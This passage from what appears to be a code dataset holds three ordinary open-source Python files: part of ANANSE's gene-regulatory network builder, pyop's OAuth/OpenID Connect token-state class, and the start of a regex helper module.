1e4.\n maximum_distance : int, optional\n Maximum distance from TSS to consider. Default is 100kb.\n full_weight_region : int, optional\n Distance where regions will receive the full weight. Default\n is 5kb.\n promoter_region : int, optional\n Promoter region, default is 2kb.\n\n Returns\n -------\n DataFrame with two columns: distance and weight.\n\n References\n ----------\n ..[1] Wang S, Zang C, Xiao T, Fan J, Mei S, Qin Q, Wu Q, Li X, Xu K,\n He HH, Brown M, Meyer CA, Liu XS. \"Modeling cis-regulation with a\n compendium of genome-wide histone H3K27ac profiles.\" Genome Res.\n 2016 Oct;26(10):1417-1429. doi: 10.1101/gr.201574.115. PMID: 27466232\n \"\"\"\n u = -math.log(1.0 / 3.0) * 1e5 / alpha\n\n promoter_weight = int(include_promoter)\n enhancer_weight = int(include_enhancer)\n\n weight1 = pd.DataFrame(\n {\n \"weight\": [promoter_weight for _ in range(0, promoter_region + 1)],\n \"dist\": range(0, promoter_region + 1),\n }\n )\n\n weight2 = pd.DataFrame(\n {\n \"weight\": [\n enhancer_weight\n for _ in range(promoter_region + 1, full_weight_region + 1)\n ],\n \"dist\": range(promoter_region + 1, full_weight_region + 1),\n }\n )\n\n weight3 = pd.DataFrame(\n {\n \"weight\": [\n enhancer_weight\n * 2.0\n * math.exp(-u * math.fabs(z) / 1e5)\n / (1.0 + math.exp(-u * math.fabs(z) / 1e5))\n for z in range(1, maximum_distance - full_weight_region + 1)\n ],\n \"dist\": range(full_weight_region + 1, maximum_distance + 1),\n }\n )\n\n weight = pd.concat([weight1, weight2, weight3])\n return weight\n\n def enhancer2gene(\n self,\n peak_pr,\n up=100_000,\n down=100_000,\n alpha=1e4,\n promoter=2000,\n full_weight_region=5000,\n ):\n \"\"\"Couple enhancers to genes.\n\n Parameters\n ----------\n peak_pr : PyRanges object\n PyRanges object with enhancer regions.\n up : int, optional\n Upstream maximum distance, by default 100kb.\n down : int, optional\n Upstream maximum distabce, by default 100kb.\n alpha : float, optional\n Parameter to control weight decay, by default 1e4.\n promoter : int, optional\n Promoter region, by default 2000.\n full_weight_region : int, optional\n Region that will receive full weight, by default 5000.\n\n Returns\n -------\n pandas.DataFrame\n DataFrame with enhancer regions, gene names, distance and weight.\n \"\"\"\n genes = region_gene_overlap(peak_pr, self.gene_bed)\n\n # Get the distance from center of enhancer to TSS\n # Correct for extension\n genes[\"dist\"] = (\n (genes[\"Start_b\"] + genes[\"End_b\"]) / 2 - genes[\"Start\"]\n ).astype(int)\n genes.loc[genes[\"Strand\"] == \"+\", \"dist\"] -= up\n genes.loc[genes[\"Strand\"] == \"-\", \"dist\"] -= down\n genes[\"dist\"] = np.abs(genes[\"dist\"])\n\n # Create region in chr:start:end format\n genes[\"loc\"] = (\n genes[\"Chromosome\"].astype(str)\n + \":\"\n + genes[\"Start_b\"].astype(str)\n + \"-\"\n + genes[\"End_b\"].astype(str)\n )\n\n # Keep the gene-enhancer combination with the smallest distance\n genes = genes.sort_values(\"dist\").drop_duplicates(\n subset=[\"loc\", \"Name\"], keep=\"first\"\n )\n\n # Return the right stuff\n genes = genes.set_index(\"loc\")[[\"Name\", \"dist\"]].rename(\n columns={\"Name\": \"gene\"}\n )\n\n # Get distance-based wight\n weight = self.distance_weight(\n include_promoter=self.include_promoter,\n include_enhancer=self.include_enhancer,\n alpha=alpha,\n promoter_region=promoter,\n full_weight_region=full_weight_region,\n ).set_index(\"dist\")\n genes = genes.join(weight, on=\"dist\")\n\n return genes\n\n def aggregate_binding(\n self,\n binding_fname,\n tfs=None,\n up=1e5,\n down=1e5,\n alpha=None,\n promoter=2000,\n full_weight_region=5000,\n combine_function=\"sum\",\n ):\n \"\"\"Summarize all binding signal per gene per TF.\n\n Return a dask delayed computation object.\n\n Parameters\n ----------\n binding_fname : str\n Filename of binding network.\n tfs : list, optional\n List of transcription factor names, by default None, which means\n that all TFs will be used.\n up : int, optional\n Maximum upstream region to include, by default 1e5\n down : [type], optional\n Maximum downstream region to include, by default 1e5\n alpha : float, optional\n Distance at which the weight will be half, by default None\n promoter : int, optional\n Promoter region, by default 2000\n full_weight_region : int, optional\n Region that will receive full weight, regardless of distance, by\n default 5000.\n combine_function : str, optional\n How to combine signal of weighted enhancers, by default \"sum\".\n Valid options are \"sum\", \"mean\" or \"max\".\n\n Returns\n -------\n dask.DataFrame\n DataFrame with delayed computations.\n \"\"\"\n if not os.path.exists(binding_fname):\n raise ValueError(f\"File {binding_fname} does not exist!\")\n\n if combine_function not in [\"mean\", \"max\", \"sum\"]:\n raise NotImplementedError(\n \"Unknown combine function, valid options are: mean, max, sum\"\n )\n\n maximum_distance = max(up, down)\n if alpha is None:\n alpha = maximum_distance / 10\n\n if promoter > maximum_distance:\n raise ValueError(\n \"promoter region is larger than the maximum distance to use\"\n )\n\n hdf = HDFStore(binding_fname, \"r\")\n\n # TODO: This is hacky (depending on \"_\"), however the hdf.keys() method is\n # much slower. Currently all TF names do *not* start with \"_\"\n all_tfs = [x for x in dir(hdf.root) if not x.startswith(\"_\")]\n logger.info(f\"Binding file contains {len(all_tfs)} TFs.\")\n if tfs is None:\n tfs = all_tfs\n else:\n not_valid = set(all_tfs) - set(tfs)\n if len(not_valid) > 1:\n logger.warning(\n f\"The following TFs are found in {binding_fname}, but do not seem to be TFs:\"\n )\n logger.warning(\", \".join(not_valid))\n tfs = set(tfs) & set(all_tfs)\n logger.info(f\"Using {len(tfs)} TFs.\")\n\n # Read enhancer index from hdf5 file\n enhancers = hdf.get(key=\"_index\")\n chroms = enhancers.index.to_series().str.replace(\":.*\", \"\").unique()\n\n tmpdir = mkdtemp()\n self._tmp_files.append(tmpdir) # mark for deletion later\n\n # Summarize enhancers per gene, per chromosome. In principle this could\n # also be done at once, however, the memory usage of dask is very finicky.\n # This is a pragmatic solution, that seems to work well, does not use a\n # lot of memory and is not too slow (~50 seconds per chromosome).\n for chrom in chroms:\n logger.info(f\"Aggregating binding for genes on {chrom}\")\n\n # Get the index of all enhancers for this specific chromosome\n idx = enhancers.index.str.contains(f\"^{chrom}:\")\n idx_i = np.arange(enhancers.shape[0])[idx]\n\n # Create a pyranges object\n enhancer_pr = pr.PyRanges(\n enhancers[idx]\n .index.to_series()\n .str.split(r\"[:-]\", expand=True)\n .rename(columns={0: \"Chromosome\", 1: \"Start\", 2: \"End\"})\n )\n\n # Link enhancers to genes on basis of distance to annotated TSS\n gene_df = self.enhancer2gene(\n enhancer_pr,\n up=up,\n down=down,\n alpha=alpha,\n promoter=promoter,\n full_weight_region=full_weight_region,\n )\n gene_df = gene_df.dropna()\n\n bp = pd.DataFrame(index=enhancers[idx].index)\n\n for tf in tqdm(\n tfs, total=len(tfs), desc=\"Aggregating\", unit_scale=1, unit=\" TFs\"\n ):\n # Load TF binding data for this chromosome.\n # hdf.get() is *much* faster here than pd.read_hdf()\n bp[tf] = hdf.get(key=tf)[idx_i].values\n\n # Skipping everything with weight 0, as it won't be counted anyway.\n gene_df = gene_df[gene_df[\"weight\"] > 0]\n\n # Make sure binding score and enhancers match up (i.e. same enhancer\n # is used for multiple genes)\n gene_df = gene_df.join(bp).dropna()\n bp = gene_df[tfs]\n gene_df = gene_df[[\"gene\", \"weight\"]]\n\n # Multiply binding score by weight\n bp = bp.mul(gene_df[\"weight\"], axis=0)\n\n # Summarize weighted score per gene\n bp[\"gene\"] = gene_df[\"gene\"]\n tmp = bp.groupby(\"gene\")\n if combine_function == \"mean\":\n tmp = tmp.mean()\n elif combine_function == \"max\":\n tmp = tmp.max()\n elif combine_function == \"sum\":\n tmp = tmp.sum()\n\n # Go from wide to long format, to be able to merge with other\n # information later\n tmp = tmp.reset_index().melt(\n id_vars=tmp.index.name, var_name=\"tf\", value_name=\"weighted_binding\"\n )\n\n # Create dataframe with two columns: tf_gene and weighted_binding score\n tmp[\"tf_target\"] = tmp[\"tf\"] + \"_\" + tmp[\"gene\"]\n tmp[[\"tf_target\", \"weighted_binding\"]].to_csv(\n os.path.join(tmpdir, f\"{chrom}.csv\"), index=False\n )\n\n hdf.close()\n\n ddf = dd.read_csv(os.path.join(tmpdir, \"*.csv\")).set_index(\"tf_target\")\n return ddf\n\n def _save_temp_expression(self, df, name):\n tmp = df.rename(columns={\"tpm\": f\"{name}_expression\"})\n tmp[f\"{name}_expression\"] = minmax_scale(tmp[f\"{name}_expression\"].rank())\n tmp.index.rename(name, inplace=True)\n tmp[\"key\"] = 0\n fname = NamedTemporaryFile(\n prefix=\"ananse.\", suffix=f\".{name}.parquet\", delete=False\n ).name\n self._tmp_files.append(fname)\n tmp.reset_index().to_parquet(fname, index=False)\n return fname\n\n def create_expression_network(\n self, fin_expression, column=\"tpm\", tfs=None, bindingfile=None\n ):\n \"\"\"Create a gene expression based network.\n\n Based on a file with gene expression levels (a TPM column), a\n dask DataFrame is generated with the combined expression levels\n of the tf and the target gene. By default, the expresison levels\n are ranked and subsequently scaled between 0 and 1.\n\n Parameters\n ----------\n fin_expression : str or list\n One of more files that contains gene expression data.\n First column should contain the gene names in HGNC symbols.\n\n column : str, optional\n Column name that contains gene expression, 'tpm' by default (case insensitive).\n\n tfs : list, optional\n List of TF gene names. All TFs will be used by default.\n\n bindingfile : str, optional\n Output file from ANANSE binding.\n\n Returns\n -------\n Dask DataFrame with gene expression based values.\n \"\"\"\n # Convert to a list of filename(s)\n if isinstance(fin_expression, str):\n fin_expression = [fin_expression]\n\n # Read all expression input files and take the mean expression per gene\n re_column = re.compile(fr\"^{column}$\", re.IGNORECASE)\n expression = pd.DataFrame(\n pd.concat(\n [\n pd.read_table(f, index_col=0).filter(regex=re_column)\n for f in fin_expression\n ],\n axis=1,\n ).mean(1),\n columns=[column],\n )\n expression[column] = np.log2(expression[column] + 1e-5)\n\n genes = pd.read_table(\n self.gene_bed, usecols=[3], comment=\"#\", names=[\"name\"], index_col=0\n )\n overlap = len(genes.index.intersection(expression.index))\n if overlap / expression.shape[0] < 0.1:\n logger.error(\n \"gene annotation identifiers do not seem to match between annotation and expression files!\"\n )\n sample_exp = \", \".join(expression.sample(5).index.values)\n sample_gene = \", \".join(genes.sample(5).index.values)\n logger.error(f\"expression sample: {sample_exp}\")\n logger.error(f\"annotation sample: {sample_gene}\")\n sys.exit(1)\n\n # Create the TF list, based on valid transcription factors\n if tfs is None:\n try:\n act = pd.read_hdf(bindingfile, key=\"_factor_activity\")\n if \"factor\" in act.columns:\n act = act.set_index(\"factor\")\n tfs = list(set(act.index.tolist()))\n except KeyError:\n tffile = os.path.join(PACKAGE_DIR, \"db\", \"tfs.txt\")\n tfs = pd.read_csv(tffile, header=None)[0].tolist()\n\n # Save TFs and targets as temporary files\n idx = expression.index[expression.index.isin(tfs)]\n tmp = expression.loc[idx]\n if tmp.shape[0] == 0:\n logger.error(\n \"None of the transcription factors are found in your expression file.\"\n )\n logger.error(\n \"If you have human data, please make sure you use HGNC symbols (gene names).\"\n )\n logger.error(\n \"If you have non-human data, you have to create a custom motif to gene mapping.\"\n )\n logger.error(\"See this link for one possibility to create this file: \")\n logger.error(\n \"https://gimmemotifs.readthedocs.io/en/stable/reference.html#command-gimme-motif2factors\"\n )\n logger.error(\n \"If you use a custom motif mapping, you will also have (re)run `gimme binding` with this file.\"\n )\n sys.exit(1)\n\n tf_fname = self._save_temp_expression(tmp, \"tf\")\n target_fname = self._save_temp_expression(expression, \"target\")\n\n # Read files (delayed) and merge on 'key' to create a Cartesian product\n # combining all TFs with all target genes.\n a = dd.read_parquet(tf_fname)\n b = dd.read_parquet(target_fname)\n network = a.merge(b, how=\"outer\")\n\n # Use one-column index that contains TF and target genes.\n # This is necessary for dask, as dask cannot merge on a MultiIndex.\n # Otherwise this would be an inefficient and unnecessary step.\n network[\"tf_target\"] = network[\"tf\"] + \"_\" + network[\"target\"]\n network = network[\n [\"tf\", \"target\", \"tf_target\", \"tf_expression\", \"target_expression\"]\n ]\n\n return network\n\n def run_network(\n self,\n binding,\n fin_expression=None,\n tfs=None,\n outfile=None,\n up=1e5,\n down=1e5,\n alpha=None,\n promoter=2000,\n full_weight_region=5000,\n ):\n \"\"\"Create network.\n\n Parameters\n ----------\n binding : str\n Filename with binding information. Should contain at least three\n columns: \"factor\", \"enhancer\" and \"binding\".\n fin_expression : str or list, optional\n Filename of list of filenames with expression information.\n tfs : list, optional\n List of transcription factors to use, by default None, which means\n all TFs will be used.\n outfile : str, optional\n Output file. If None, returns a dataframe.\n up : int, optional\n Upstream maximum distance, by default 100kb.\n down : int, optional\n Upstream maximum distabce, by default 100kb.\n alpha : float, optional\n Parameter to control weight decay, by default 1e4.\n promoter : int, optional\n Promoter region, by default 2000.\n full_weight_region : int, optional\n Region that will receive full weight, by default 5000.\"\"\"\n # Expression base network\n logger.info(\"Loading expression\")\n df_expression = self.create_expression_network(\n fin_expression, tfs=tfs, bindingfile=binding\n )\n\n # Use a version of the binding network, either promoter-based, enhancer-based\n # or both.\n if self.include_promoter or self.include_enhancer:\n df_binding = self.aggregate_binding(\n binding,\n tfs=tfs,\n up=up,\n down=down,\n alpha=alpha,\n promoter=promoter,\n full_weight_region=full_weight_region,\n combine_function=\"sum\",\n )\n\n try:\n act = pd.read_hdf(binding, key=\"_factor_activity\")\n if \"factor\" in act.columns:\n act = act.set_index(\"factor\")\n logger.info(\"Reading factor activity\")\n act.index.name = \"tf\"\n act[\"activity\"] = minmax_scale(rankdata(act[\"activity\"], method=\"min\"))\n df_expression = df_expression.merge(\n act, right_index=True, left_on=\"tf\", how=\"left\"\n ).fillna(0.5)\n except KeyError:\n pass\n\n df_expression = df_expression.drop(columns=[\"tf\"])\n\n # This is where the heavy lifting of all delayed computations gets done\n # logger.info(\"Computing network\")\n if fin_expression is not None:\n result = df_expression.merge(\n df_binding, right_index=True, left_on=\"tf_target\", how=\"left\"\n )\n result = result.persist()\n result = result.fillna(0)\n logger.info(\"Computing network\")\n progress(result)\n result = result.compute()\n else:\n result = df_binding\n\n result[\"weighted_binding\"] = minmax_scale(\n rankdata(result[\"weighted_binding\"], method=\"min\")\n )\n columns = [\n \"tf_expression\",\n \"target_expression\",\n \"weighted_binding\",\n \"activity\",\n ]\n columns = [col for col in columns if col in result]\n logger.info(f\"Using {', '.join(columns)}\")\n # Combine the individual scores\n result[\"prob\"] = result[columns].mean(1)\n\n else:\n result = df_expression\n result[\"prob\"] = result[[\"tf_expression\", \"target_expression\"]].mean(1)\n result = result.compute()\n\n if outfile:\n logger.info(\"Writing network\")\n out_dir = os.path.abspath(os.path.dirname(outfile))\n os.makedirs(out_dir, exist_ok=True)\n result[[\"tf_target\", \"prob\"]].to_csv(outfile, sep=\"\\t\", index=False)\n else:\n return result[[\"tf_target\", \"prob\"]]\n\n def __del__(self):\n if not hasattr(self, \"_tmp_files\"):\n return\n\n for fname in self._tmp_files:\n if os.path.exists(fname):\n shutil.rmtree(fname, ignore_errors=True)\n\n\ndef region_gene_overlap(\n region_pr,\n gene_bed,\n up=100_000,\n down=100_000,\n):\n \"\"\"\n Couple enhancers to genes.\n\n Parameters\n ----------\n region_pr : PyRanges object\n PyRanges object with enhancer regions.\n gene_bed : str\n gene_bed\n up : int, optional\n Upstream maximum distance, by default 100kb.\n down : int, optional\n Upstream maximum distance, by default 100kb.\n\n Returns\n -------\n pandas.DataFrame\n DataFrame with enhancer regions, gene names, distance and weight.\n \"\"\"\n genes = pr.read_bed(gene_bed)\n # Convert to DataFrame & we don't need intron/exon information\n genes = genes.as_df().iloc[:, :6]\n\n # Get the TSS only\n genes.loc[genes[\"Strand\"] == \"+\", \"End\"] = genes.loc[\n genes[\"Strand\"] == \"+\", \"Start\"\n ]\n genes.loc[genes[\"Strand\"] == \"-\", \"Start\"] = genes.loc[\n genes[\"Strand\"] == \"-\", \"End\"\n ]\n\n # Extend up and down\n genes.loc[genes[\"Strand\"] == \"+\", \"Start\"] -= up\n genes.loc[genes[\"Strand\"] == \"+\", \"End\"] += down\n genes.loc[genes[\"Strand\"] == \"-\", \"Start\"] -= down\n genes.loc[genes[\"Strand\"] == \"-\", \"End\"] += up\n\n # Perform the overlap\n genes = pr.PyRanges(genes)\n genes = genes.join(region_pr).as_df()\n\n return genes\n", "source": "Maarten-vd-Sande/ANANSE", "license": "MIT"}
+{"text": "import logging\nimport time\nimport uuid\n\nfrom oic.extension.message import TokenIntrospectionResponse\nfrom oic.oic.message import AuthorizationRequest\n\nfrom .access_token import AccessToken\nfrom .exceptions import InvalidAccessToken\nfrom .exceptions import InvalidAuthorizationCode\nfrom .exceptions import InvalidRefreshToken\nfrom .exceptions import InvalidScope\nfrom .exceptions import InvalidSubjectIdentifier\nfrom .util import requested_scope_is_allowed\n\nlogger = logging.getLogger(__name__)\n\n\ndef rand_str():\n return uuid.uuid4().hex\n\n\n# TODO remove expired/invalid authorization codes/tokens from db's\n\nclass AuthorizationState(object):\n KEY_AUTHORIZATION_REQUEST = 'auth_req'\n\n def __init__(self, subject_identifier_factory, authorization_code_db=None, access_token_db=None,\n refresh_token_db=None, subject_identifier_db=None, *,\n authorization_code_lifetime=600, access_token_lifetime=3600, refresh_token_lifetime=None,\n refresh_token_threshold=None):\n # type: (se_leg_op.token_state.SubjectIdentifierFactory, Mapping[str, Any], Mapping[str, Any],\n # Mapping[str, Any], Mapping[str, Any], int, int, Optional[int], Optional[int]) -> None\n \"\"\"\n :param subject_identifier_factory: callable to use when construction subject identifiers\n :param authorization_code_db: database for storing authorization codes, defaults to in-memory\n dict if not specified\n :param access_token_db: database for storing access tokens, defaults to in-memory\n dict if not specified\n :param refresh_token_db: database for storing refresh tokens, defaults to in-memory\n dict if not specified\n :param subject_identifier_db: database for storing subject identifiers, defaults to in-memory\n dict if not specified\n :param authorization_code_lifetime: how long before authorization codes should expire (in seconds),\n defaults to 10 minutes\n :param access_token_lifetime: how long before access tokens should expire (in seconds),\n defaults to 1 hour\n :param refresh_token_lifetime: how long before refresh tokens should expire (in seconds),\n defaults to never issuing a refresh token if not defined\n :param refresh_token_threshold: how long before refresh token expiry time a new one should be issued (in\n seconds) in a token refresh request, defaults to never issuing a new refresh token\n \"\"\"\n\n if not subject_identifier_factory:\n raise ValueError('subject_identifier_factory can\\'t be None')\n self._subject_identifier_factory = subject_identifier_factory\n\n self.authorization_code_lifetime = authorization_code_lifetime\n \"\"\"\n Mapping of authorization codes to the subject identifier and auth request.\n \"\"\"\n self.authorization_codes = authorization_code_db if authorization_code_db is not None else {}\n\n self.access_token_lifetime = access_token_lifetime\n \"\"\"\n Mapping of access tokens to the scope, token type, client id and subject identifier.\n \"\"\"\n self.access_tokens = access_token_db if access_token_db is not None else {}\n\n self.refresh_token_lifetime = refresh_token_lifetime\n self.refresh_token_threshold = refresh_token_threshold\n \"\"\"\n Mapping of refresh tokens to access tokens.\n \"\"\"\n self.refresh_tokens = refresh_token_db if refresh_token_db is not None else {}\n\n \"\"\"\n Mapping of user id's to subject identifiers.\n \"\"\"\n self.subject_identifiers = subject_identifier_db if subject_identifier_db is not None else {}\n\n def create_authorization_code(self, authorization_request, subject_identifier, scope=None):\n # type: (oic.oic.message.AuthorizationRequest, str, Optional[List[str]]) -> str\n \"\"\"\n Creates an authorization code bound to the authorization request and the authenticated user identified\n by the subject identifier.\n \"\"\"\n\n if not self._is_valid_subject_identifier(subject_identifier):\n raise InvalidSubjectIdentifier('{} unknown'.format(subject_identifier))\n\n scope = ' '.join(scope or authorization_request['scope'])\n logger.debug('creating authz code for scope=%s', scope)\n\n authorization_code = rand_str()\n authz_info = {\n 'used': False,\n 'exp': int(time.time()) + self.authorization_code_lifetime,\n 'sub': subject_identifier,\n 'granted_scope': scope,\n self.KEY_AUTHORIZATION_REQUEST: authorization_request.to_dict()\n }\n self.authorization_codes[authorization_code] = authz_info\n logger.debug('new authz_code=%s to client_id=%s for sub=%s valid_until=%s', authorization_code,\n authorization_request['client_id'], subject_identifier, authz_info['exp'])\n return authorization_code\n\n def create_access_token(self, authorization_request, subject_identifier, scope=None):\n # type: (oic.oic.message.AuthorizationRequest, str, Optional[List[str]]) -> se_leg_op.access_token.AccessToken\n \"\"\"\n Creates an access token bound to the authentication request and the authenticated user identified by the\n subject identifier.\n \"\"\"\n if not self._is_valid_subject_identifier(subject_identifier):\n raise InvalidSubjectIdentifier('{} unknown'.format(subject_identifier))\n\n scope = scope or authorization_request['scope']\n\n return self._create_access_token(subject_identifier, authorization_request.to_dict(), ' '.join(scope))\n\n def _create_access_token(self, subject_identifier, auth_req, granted_scope, current_scope=None):\n # type: (str, Mapping[str, Union[str, List[str]]], str, Optional[str]) -> se_leg_op.access_token.AccessToken\n \"\"\"\n Creates an access token bound to the subject identifier, client id and requested scope.\n \"\"\"\n access_token = AccessToken(rand_str(), self.access_token_lifetime)\n\n scope = current_scope or granted_scope\n logger.debug('creating access token for scope=%s', scope)\n\n authz_info = {\n 'iat': int(time.time()),\n 'exp': int(time.time()) + self.access_token_lifetime,\n 'sub': subject_identifier,\n 'client_id': auth_req['client_id'],\n 'aud': [auth_req['client_id']],\n 'scope': scope,\n 'granted_scope': granted_scope,\n 'token_type': access_token.BEARER_TOKEN_TYPE,\n self.KEY_AUTHORIZATION_REQUEST: auth_req\n }\n self.access_tokens[access_token.value] = authz_info\n\n logger.debug('new access_token=%s to client_id=%s for sub=%s valid_until=%s',\n access_token.value, auth_req['client_id'], subject_identifier, authz_info['exp'])\n return access_token\n\n def exchange_code_for_token(self, authorization_code):\n # type: (str) -> se_leg_op.access_token.AccessToken\n \"\"\"\n Exchanges an authorization code for an access token.\n \"\"\"\n if authorization_code not in self.authorization_codes:\n raise InvalidAuthorizationCode('{} unknown'.format(authorization_code))\n\n authz_info = self.authorization_codes[authorization_code]\n if authz_info['used']:\n logger.debug('detected already used authz_code=%s', authorization_code)\n raise InvalidAuthorizationCode('{} has already been used'.format(authorization_code))\n elif authz_info['exp'] < int(time.time()):\n logger.debug('detected expired authz_code=%s, now=%s > exp=%s ',\n authorization_code, int(time.time()), authz_info['exp'])\n raise InvalidAuthorizationCode('{} has expired'.format(authorization_code))\n\n authz_info['used'] = True\n\n access_token = self._create_access_token(authz_info['sub'], authz_info[self.KEY_AUTHORIZATION_REQUEST],\n authz_info['granted_scope'])\n\n logger.debug('authz_code=%s exchanged to access_token=%s', authorization_code, access_token.value)\n return access_token\n\n def introspect_access_token(self, access_token_value):\n # type: (str) -> Dict[str, Union[str, List[str]]]\n \"\"\"\n Returns authorization data associated with the access token.\n See \"Token Introspection\", Section 2.2.\n \"\"\"\n if access_token_value not in self.access_tokens:\n raise InvalidAccessToken('{} unknown'.format(access_token_value))\n\n authz_info = self.access_tokens[access_token_value]\n\n introspection = {'active': authz_info['exp'] >= int(time.time())}\n\n introspection_params = {k: v for k, v in authz_info.items() if k in TokenIntrospectionResponse.c_param}\n introspection.update(introspection_params)\n return introspection\n\n def create_refresh_token(self, access_token_value):\n # type: (str) -> str\n \"\"\"\n Creates an refresh token bound to the specified access token.\n \"\"\"\n if access_token_value not in self.access_tokens:\n raise InvalidAccessToken('{} unknown'.format(access_token_value))\n\n if not self.refresh_token_lifetime:\n logger.debug('no refresh token issued for for access_token=%s', access_token_value)\n return None\n\n refresh_token = rand_str()\n authz_info = {'access_token': access_token_value, 'exp': int(time.time()) + self.refresh_token_lifetime}\n self.refresh_tokens[refresh_token] = authz_info\n\n logger.debug('issued refresh_token=%s expiring=%d for access_token=%s', refresh_token, authz_info['exp'],\n access_token_value)\n return refresh_token\n\n def use_refresh_token(self, refresh_token, scope=None):\n # type (str, Optional[List[str]]) -> Tuple[se_leg_op.access_token.AccessToken, Optional[str]]\n \"\"\"\n Creates a new access token, and refresh token, based on the supplied refresh token.\n :return: new access token and new refresh token if the old one had an expiration time\n \"\"\"\n\n if refresh_token not in self.refresh_tokens:\n raise InvalidRefreshToken('{} unknown'.format(refresh_token))\n\n refresh_token_info = self.refresh_tokens[refresh_token]\n if 'exp' in refresh_token_info and refresh_token_info['exp'] < int(time.time()):\n raise InvalidRefreshToken('{} has expired'.format(refresh_token))\n\n authz_info = self.access_tokens[refresh_token_info['access_token']]\n\n if scope:\n if not requested_scope_is_allowed(scope, authz_info['granted_scope']):\n logger.debug('trying to refresh token with superset scope, requested_scope=%s, granted_scope=%s',\n scope, authz_info['granted_scope'])\n raise InvalidScope('Requested scope includes non-granted value')\n scope = ' '.join(scope)\n logger.debug('refreshing token with new scope, old_scope=%s -> new_scope=%s', authz_info['scope'], scope)\n else:\n # OAuth 2.0: scope: \"[...] if omitted is treated as equal to the scope originally granted by the resource owner\"\n scope = authz_info['granted_scope']\n\n new_access_token = self._create_access_token(authz_info['sub'], authz_info[self.KEY_AUTHORIZATION_REQUEST],\n authz_info['granted_scope'], scope)\n\n new_refresh_token = None\n if self.refresh_token_threshold \\\n and 'exp' in refresh_token_info \\\n and refresh_token_info['exp'] - int(time.time()) < self.refresh_token_threshold:\n # refresh token is close to expiry, issue a new one\n new_refresh_token = self.create_refresh_token(new_access_token.value)\n else:\n self.refresh_tokens[refresh_token]['access_token'] = new_access_token.value\n\n logger.debug('refreshed tokens, new_access_token=%s new_refresh_token=%s old_refresh_token=%s',\n new_access_token, new_refresh_token, refresh_token)\n return new_access_token, new_refresh_token\n\n def get_subject_identifier(self, subject_type, user_id, sector_identifier=None):\n # type: (str, str, str) -> str\n \"\"\"\n Returns a subject identifier for the local user identifier.\n :param subject_type: 'pairwise' or 'public', see\n \n \"OpenID Connect Core 1.0\", Section 8.\n :param user_id: local user identifier\n :param sector_identifier: the client's sector identifier,\n see \n \"OpenID Connect Core 1.0\", Section 1.2\n \"\"\"\n\n if user_id not in self.subject_identifiers:\n self.subject_identifiers[user_id] = {}\n\n if subject_type == 'public':\n if 'public' not in self.subject_identifiers[user_id]:\n new_sub = self._subject_identifier_factory.create_public_identifier(user_id)\n self.subject_identifiers[user_id] = {'public': new_sub}\n\n logger.debug('created new public sub=%s for user_id=%s',\n self.subject_identifiers[user_id]['public'], user_id)\n sub = self.subject_identifiers[user_id]['public']\n logger.debug('returning public sub=%s', sub)\n return sub\n elif subject_type == 'pairwise':\n if not sector_identifier:\n raise ValueError('sector_identifier cannot be None or empty')\n\n subject_id = self._subject_identifier_factory.create_pairwise_identifier(user_id, sector_identifier)\n logger.debug('returning pairwise sub=%s for user_id=%s and sector_identifier=%s',\n subject_id, user_id, sector_identifier)\n sub = self.subject_identifiers[user_id]\n pairwise_set = set(sub.get('pairwise', []))\n pairwise_set.add(subject_id)\n sub['pairwise'] = list(pairwise_set)\n self.subject_identifiers[user_id] = sub\n return subject_id\n\n raise ValueError('Unknown subject_type={}'.format(subject_type))\n\n def _is_valid_subject_identifier(self, sub):\n # type: (str) -> str\n \"\"\"\n Determines whether the subject identifier is known.\n \"\"\"\n\n try:\n self.get_user_id_for_subject_identifier(sub)\n return True\n except InvalidSubjectIdentifier:\n return False\n\n def get_user_id_for_subject_identifier(self, subject_identifier):\n for user_id, subject_identifiers in self.subject_identifiers.items():\n is_public_sub = 'public' in subject_identifiers and subject_identifier == subject_identifiers['public']\n is_pairwise_sub = 'pairwise' in subject_identifiers and subject_identifier in subject_identifiers[\n 'pairwise']\n if is_public_sub or is_pairwise_sub:\n return user_id\n\n raise InvalidSubjectIdentifier('{} unknown'.format(subject_identifier))\n\n def get_authorization_request_for_code(self, authorization_code):\n # type: (str) -> oic.oic.message.AuthorizationRequest\n if authorization_code not in self.authorization_codes:\n raise InvalidAuthorizationCode('{} unknown'.format(authorization_code))\n\n return AuthorizationRequest().from_dict(\n self.authorization_codes[authorization_code][self.KEY_AUTHORIZATION_REQUEST])\n\n def get_authorization_request_for_access_token(self, access_token_value):\n # type: (str) -> oic.oic.message.AuthorizationRequest\n if access_token_value not in self.access_tokens:\n raise InvalidAccessToken('{} unknown'.format(access_token_value))\n\n return AuthorizationRequest().from_dict(self.access_tokens[access_token_value][self.KEY_AUTHORIZATION_REQUEST])\n\n def get_subject_identifier_for_code(self, authorization_code):\n # type: (str) -> oic.oic.message.AuthorizationRequest\n if authorization_code not in self.authorization_codes:\n raise InvalidAuthorizationCode('{} unknown'.format(authorization_code))\n\n return self.authorization_codes[authorization_code]['sub']\n\n def delete_state_for_subject_identifier(self, subject_identifier):\n # type (str) -> None\n if not self._is_valid_subject_identifier(subject_identifier):\n raise InvalidSubjectIdentifier('Trying to delete state for unknown subject identifier')\n\n for tokens in [self.authorization_codes, self.access_tokens]:\n tokens_to_remove = [k for k, v in tokens.items() if v['sub'] == subject_identifier]\n for ac in tokens_to_remove:\n tokens.pop(ac, None)\n", "source": "REANNZ/pyop", "license": "Apache-2.0"}
+{"text": "# ===============================================================================\n# Copyright 2014 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\n# ============= standard library imports ========================\nfrom __future__ import absolute_import\nimport re\n# ============= local library imports ==========================\n# match .current_point\nCP_REGEX = re.compile(r'[\\w]+[\\w\\d]+\\({0,1}[\\w\\d]+\\){0,1}\\.(current|cur)')\n# match .std_dev\nSTD_REGEX = re.compile(r'[\\w]+[\\w\\d]+\\({0,1}[\\w\\d]+\\){0,1}\\.(std_dev|sd|stddev)')\n# match .inactive\nACTIVE_REGEX = re.compile(r'[\\w]+[\\w\\d]+\\({0,1}[\\w\\d]+\\){0,1}\\.inactive')\n\n# Functions\ndef make_func_regex(r):\n reg = r'(not ){{0,1}}{}'.format(r)\n return re.compile(reg)\n\n# match average(ar##)\nAVG_REGEX = 